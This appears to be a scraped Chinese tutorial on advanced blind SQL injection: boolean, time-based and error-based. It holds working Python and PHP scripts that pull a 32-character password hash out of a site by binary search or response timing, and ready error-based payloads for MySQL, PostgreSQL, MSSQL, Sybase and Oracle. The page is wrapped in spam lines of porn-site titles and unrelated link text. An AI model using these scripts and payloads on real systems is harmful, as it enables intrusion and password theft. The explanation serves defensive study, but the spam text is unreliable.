国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

詳解SQL盲注測試高級技巧

安全 數(shù)據(jù)安全
這篇文章主要寫了一些加快盲注速度的技巧和盲注中比較精巧的語句,雖然注入并不是什么新技術(shù)了。但是數(shù)據(jù)庫注入漏洞依然困擾著每一個安全廠商,也鞭策著每一個安全從業(yè)者不斷前進(jìn)。

這篇文章主要寫了一些加快盲注速度的技巧和盲注中比較精巧的語句,雖然注入并不是什么新技術(shù)了。但是數(shù)據(jù)庫注入漏洞依然困擾著每一個安全廠商,也鞭策著每一個安全從業(yè)者不斷前進(jìn)。

[[111105]]

首先來簡單介紹一下盲注,盲注是不能通過直接顯示的途徑來獲取數(shù)據(jù)庫數(shù)據(jù)的方法。在盲注中,攻擊者根據(jù)其返回頁面的不同來判斷信息(可能是頁面內(nèi)容的不同,也可以是響應(yīng)時間不同)。一般情況下,盲注可分為三類。

Booleanbase 
Timebase 
Errorbase

其中第一類Boolean就是我們最常接觸到的普通盲注。

比如在where語句中可以構(gòu)造or 1=1來使返回頁面不同。(這里用mysql演示一下,大家體會就好)

mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)

如果注入點在order by后面,那么則可以使用判斷語句來構(gòu)造報錯。(其實order by后面的注入也可以根據(jù)返回結(jié)果的順序來判斷,這里自由發(fā)揮就好:P)

mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row

基于時間的盲注的話,mysql主要涉及兩個函數(shù),sleep banchmark 基本是使用如下。

mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

基于報錯的盲注,需要網(wǎng)站顯示數(shù)據(jù)庫報錯信息,后面會有詳細(xì)闡述。

知道了怎么判斷ture or false之后就是獲取數(shù)據(jù)了,當(dāng)然你可以暴力測試每一個ascii碼,不過這需要很多次嘗試,如果你家正巧網(wǎng)速不好那么速度將會是十分緩慢的。

拿32位hash為例,暴力猜解的話許要 16*32=512次查詢(因為hash一般是16進(jìn)制,只有16種可能)。如果是一段包含大小寫字母和特殊字符的32位字符串那?大概需要 72*32=2304次查詢,這就比較多了。想要減少盲注查詢的次數(shù),一般會用到如下幾種方法。

字頻統(tǒng)計:

根據(jù)英文中字母出現(xiàn)的頻率進(jìn)行猜測,這種方法僅局限于用戶名這樣有意義的字符串,并不能應(yīng)用于hash這樣的無規(guī)律字符串。而且僅限于純字母的猜測。wiki百科上有字母使用頻率的統(tǒng)計。

詳解SQL盲注測試高級技巧

那么根據(jù)字頻統(tǒng)計,e出現(xiàn)的概率最高,a其次,那我們就先猜測e,再猜測a。更近一步,我們可以使用雙字的字頻來進(jìn)一步提高效率,比如th在英文中出現(xiàn)的概率很高。那么在第一個字母是t之后,我們下個字符第一個猜測h。

ps.這種方法的效率有多高哪?只能說看臉。

二分查找,位運算法:

把他們兩個放在一起是因為他們的作用是相同的都會把試探字符串的次數(shù)降低到log(n)*length (n為可能字符的數(shù)量)。

首先來說二分查找,它的原理是把可能出現(xiàn)的字符看做一個有序的序列,這樣在查找所要查找的元素時,首先與序列中間的元素進(jìn)行比較,如果大于這個元素,就在當(dāng)前序列的后半部分繼續(xù)查找,如果小于這個元素,就在當(dāng)前序列的前半部分繼續(xù)查找,直到找到相同的元素,或者所查找的序列范圍為空為止。

使用而返查找確定一個hash散列的一位,只需要4次查詢(2^4=16),也就是說確定一個32位hash,只需要126次請求,大大縮短了查詢的次數(shù)。

這里給出一個二分查找的pyhton源代碼

  1. import urllib  
  2. import urllib2  
  3. def doinject(payload):  
  4.     url = 'xxxxxxxxxxxxxxxxxxxxx' 
  5.     values = {'injection':payload,'inject':'Inject'}  
  6.     data = urllib.urlencode(values)  
  7.     #print data  
  8.     req = urllib2.Request(url, data)  
  9.     req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')  
  10.     response = urllib2.urlopen(req)  
  11.     the_page = response.read()  
  12.     if (the_page.find("Welcome back")>0):  
  13.         return True 
  14.     else:  
  15.         return False 
  16.       
  17. wordlist = "0123456789ABCDEF" 
  18. res = ""  
  19. for i in range(1,33):  
  20.     s=0 
  21.     t=15 
  22.     while (s<t):  
  23.         if (t-s==1):  
  24.             if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'):  
  25.                 m=t  
  26.                 break 
  27.             else:  
  28.                 m=s  
  29.                 break 
  30.         m=(s+t)/2 
  31.         if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'):  
  32.             s=m+1 
  33.             print wordlist[s]+":"+wordlist[t]  
  34.         else:  
  35.             t=m  
  36.             print wordlist[s]+":"+wordlist[t]  
  37.     res = res+wordlist[m]  
  38.     print res  
  39. 這里還有使用正則表達(dá)式來進(jìn)行二分查找的php實現(xiàn)  
  40. $sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';  
  41. $sPost = 'inject=Inject&injection=';  
  42. $sCharset = 'ABCDEF0123456789';  
  43.    
  44.    
  45. /* for every character */  
  46. for ($i=0, $hash=''; $i<32; ++$i) {  
  47.         $ch = $sCharset;  
  48.    
  49.         do {  
  50.                 $ch1 = substr($ch, 0, intval(strlen($ch)/2));  
  51.                 $ch2 = substr($ch, intval(strlen($ch)/2));  
  52.                   
  53.                 $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';  
  54.                 $res = libHTTP::POST($sUrl, $p);  
  55.    
  56.                 if (strpos($res['content'], 'Your password is wrong') === false)  
  57.                         $ch = $ch1;  
  58.                 else   
  59.                         $ch = $ch2;  
  60.                   
  61.         } while (strlen($ch) > 1);  
  62.           
  63.         $hash .= $ch;  
  64.         echo "\rhash: ".$hash;  

ps:上面的代碼都是針對32位hash的盲注

再說位運算,它的原理是每次請求確定二進(jìn)制的一位,對于ascii碼連續(xù)的區(qū)間時間復(fù)雜度為log(n)*length,所以相對于二分查找,它應(yīng)用起來比較有局限性。

mysql中位運算的與運算是&,我們主要用它來進(jìn)行猜測,比如a的ascii碼是1100001,那么我們可以使用1,2,4,8,16…..依次與他進(jìn)行與運算,最終得到結(jié)果。

mysql> select ord('a') & 1;
+--------------+
| ord('a') & 1 |
+--------------+
|            1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 2;
+--------------+
| ord('a') & 2 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 4;
+--------------+
| ord('a') & 4 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)

基于時間的盲注:

上面的方法,都是通過返回頁面的不同來獲取信息,所以理論上來說每次,最多只能確定一個二進(jìn)制位(true or false)。但是,在盲注過程中還有一個重要的因素可以幫助我們獲取信息,那就是頁面返回時間的長短。通過如下的語句,我們可以通過一次請求確定一個字符的ascii碼。如果是一串32位的hash,那么只需要32次請求,即可得到答案。

' or sleep(ord(substr(password,1,1))) --

利用語句一般可以寫成這樣

mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)

推薦使用,sleep而不要使用benchmark,因為sleep不會占用cpu而且比較穩(wěn)定。

下面給出一個針對32位hash的盲注算法

import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
    url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
    start = time()
    response = urllib2.urlopen(req)
    end = time()
    #print response.read()
    index = int(end-start)
    print 'index:'+ str(index)
    print 'char:' + wordlist[index-1]
    return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
    num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
    res = res+wordlist[num-1]
    print res

這里還有注意一點,sleep在where語句中會被計算多次,在實際應(yīng)用中需要根據(jù)表中的記錄數(shù),做相應(yīng)的處理。

比如有一個2個記錄的表

select count(*) from test;
    +----------+
    | count(*) |
    +----------+
    |        2 |
    +----------+

如果直接查詢,因為兩個記錄都會引發(fā)查詢所以會觸發(fā)兩次sleep()延遲12秒

select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (12.00 sec)

這里在前面使用一個條件語句,因為and前面的表達(dá)式如果為false則后面的不執(zhí)行,所以sleep執(zhí)行一次,延遲6秒

select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (6.00 sec)

ps.這種方法很怕網(wǎng)絡(luò)不穩(wěn)定。

基于報錯的盲注:

如果頁面上顯示數(shù)據(jù)的報錯信息,那么可以直接使用報錯的方式把想要的信息爆出來。

比如在mysql中我們可以使用如下的經(jīng)典語句進(jìn)行報錯。

select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

這是網(wǎng)上流傳很廣的一個版本,可以簡化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果關(guān)鍵的表被禁用了,可以使用這種形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用戶變量來報錯

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

其實這是mysql的一個bug所引起的,其他數(shù)據(jù)庫都不會因為這個問題而報錯。

另外,在mysql5.1版本新加入兩個xml函數(shù),也可以用來報錯。

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888' 
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1)); 
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

而在其他數(shù)據(jù)庫中也可以使用不同的方法構(gòu)成報錯

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- 
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
責(zé)任編輯:藍(lán)雨淚 來源: FreeBuf
相關(guān)推薦

2014-04-11 09:45:15

2009-08-13 17:18:15

2010-05-21 13:34:53

MySQL數(shù)據(jù)庫

2025-08-14 02:00:00

2011-05-03 10:31:59

噴墨打印機(jī)注墨誤區(qū)

2025-03-05 08:30:00

2011-08-01 11:56:45

Google搜索

2017-09-05 08:16:29

代碼判斷函數(shù)

2009-09-04 10:45:18

MyEclipse使用

2009-12-10 13:27:23

GNOME桌面

2018-07-30 14:40:01

MySQLSQL查詢

2009-12-08 17:48:28

Web Service

2010-09-26 11:00:48

JVM參數(shù)配置

2017-02-20 09:00:49

2009-12-14 18:23:38

Ruby DSL測試

2010-02-22 11:25:50

WCF DateSet

2009-12-21 15:50:39

2024-10-11 18:36:51

2017-08-10 10:23:59

2010-07-21 16:54:12

EPON
點贊
收藏

51CTO技術(shù)棧公眾號

日韩写真欧美这视频| 99精品99久久久久久宅男| 尤物免费看在线视频| 91免费国产视频网站| 国产91av视频在线观看| 亚洲激情黄色| 成人激情综合网| 草草视频在线一区二区| 一区二区三区回区在观看免费视频| 超碰在线caoporen| 色综合夜色一区| 在线观看老湿视频福利| 亚洲人成人一区二区在线观看 | 国产麻豆精品久久一二三| 国产日韩欧美精品| 国产精品v日韩精品v欧美精品网站| 国产高清在线不卡| 精品国产不卡| 国产日本欧美一区| 亚洲女同一区| 超碰97国产在线| 亚洲一区成人| 一区二区欧美日韩| 国产成人免费视频精品含羞草妖精| 在线综合视频网站| 成人免费看视频| 人妻丰满熟妇av无码区app| 中文无字幕一区二区三区| a视频免费看| 亚洲国产精品欧美一二99| 日韩三级电影网| 欧美一区在线视频| 美女在线视频免费| 久久久国产一区二区| 日韩精品成人| 欧亚精品在线观看| 天天天综合网| 欧美极品一区二区| 国产精品一区二区视频| 久久久久久香蕉| 亚洲成人福利片| 免费高清在线观看| 亚洲精品丝袜日韩| 日韩精品一页| 国产精品久久久久aaaa九色| 激情综合中文娱乐网| 亚洲精品偷拍视频| 久久精品人人做人人爽人人| 天天爽天天爽夜夜爽| 午夜久久电影网| 国产视频在线播放| 在线视频亚洲欧美| 美女精品一区最新中文字幕一区二区三区| 91精品久久久久| 三级欧美在线一区| 国产91色在线观看| 欧美高清视频一二三区| 国产第一亚洲| 91美女片黄在线观| 国产精品影视网| 九色在线91| 日韩三级.com| **爰片久久毛片| 国产精品久久久久久免费观看| 免费高清视频精品| av美女在线| 亚洲国产高清福利视频| 999久久久精品一区二区| 国产精品久久久久久久久婷婷| 国产成人精品免费| 水中色av综合| 日韩一区二区在线视频| 欧美激情自拍| 亚洲精品中文字幕无码蜜桃| 欧美一区二区视频在线观看2022 | 日韩高清欧美| 中文字幕中文字幕99| 亚洲美女免费在线| 少妇视频一区| 国产欧美婷婷中文| 懂色av中文一区二区三区| 三级国产在线观看| 久久成人精品电影| 久久香蕉精品| 91网页版在线登录入口| 中文字幕欧美日韩| 亚洲毛片一区| 精产国产伦理一二三区| 亚洲天堂网站在线观看视频| 欧美日韩99| xxxxx中文字幕| 国产一区二区三区视频在线观看| 亚洲色图插插| 一道本视频在线观看| 日韩二区三区在线| 亚洲经典在线| 最后生还者第二季在线观看| 日韩一区二区福利| 激情综合网最新| 老司机福利在线视频| 国产精品专区一| 久久午夜免费电影| 欧美在线va视频| 亚洲国产高清国产精品| 色先锋资源久久综合| 亚洲精华一区二区三区| 自慰无码一区二区三区| 亚洲国产成人精品女人久久久 | 国产一区二区毛片| www视频在线观看免费| 欧美在线一区二区三区四| 高清在线成人网| 超碰在线cao| 欧美亚洲精品日韩| 欧美日韩一区高清| 天天色综合色| 久久白虎精品| 国产精品久久久久久久久久久久久久 | 午夜不卡在线视频| 中文字幕一区二区三区日韩精品| 超碰人人爱人人| 亚洲а∨天堂久久精品9966| 一本色道久久综合| 亚洲成人三级| 国产综合18久久久久久| 91精品1区2区| 成人网18免费网站| 影院免费视频| 国产成人avxxxxx在线看| 成人欧美一区二区三区1314 | 四虎精品一区二区永久在线观看| 神马久久久久久| 成人免费毛片高清视频| 精品176极品一区| 国产白丝袜美女久久久久| 中文亚洲视频在线| www.亚洲色图.com| 四虎地址8848精品| 国模吧无码一区二区三区| 九九精品在线播放| 日韩一区在线看| 成人高清av| 在线免费黄色毛片| 国产免费一区二区| 精品少妇一区二区三区在线播放 | 亚洲xxxx18| 欧美色视频一区| 亚洲一区观看| av美女在线观看| 每日在线观看av| 欧美大片免费观看在线观看网站推荐| 国产亚洲精品超碰| 国产成人调教视频在线观看| 九色在线网站| 精品欧美一区二区久久久伦 | 久久久久久久亚洲精品| 国产精品免费久久| 欧美亚洲高清| 理论视频在线| 日韩精品一区二区三区四区五区 | 性欧美xxxx视频在线观看| 玉米视频成人免费看| 欧美.www| 91超碰在线| 乌克兰美女av| 成人h视频在线观看| 日韩视频免费观看高清完整版在线观看 | 欧美挠脚心视频网站| 美国欧美日韩国产在线播放| 亚洲免费看片| 男女18免费网站视频| 国产一区二区不卡视频| 亚洲欧美日韩精品久久亚洲区| 久久久久久久久久久电影| 国产欧美亚洲精品a| 在线中文资源天堂| 亚洲色欲久久久综合网东京热| 美女av一区二区三区| 色综合久久99| 国产suv精品一区二区6| 欧美xxxx在线| 高清全集视频免费在线| 国产一级爱c视频| 成人动漫网站在线观看| 日韩av在线影院| 一区二区三区在线看| 精品一区二区三区免费观看| 亚洲视频分类| cao在线视频| 国产女优裸体网站| 一区二区三区免费看| 国产97色在线|日韩| 亚洲成年人在线播放| 一区二区三区四区乱视频| 精一区二区三区| 亚洲美女视频| 大奶一区二区三区| 天堂√中文最新版在线| 久青青在线观看视频国产| 白嫩少妇丰满一区二区|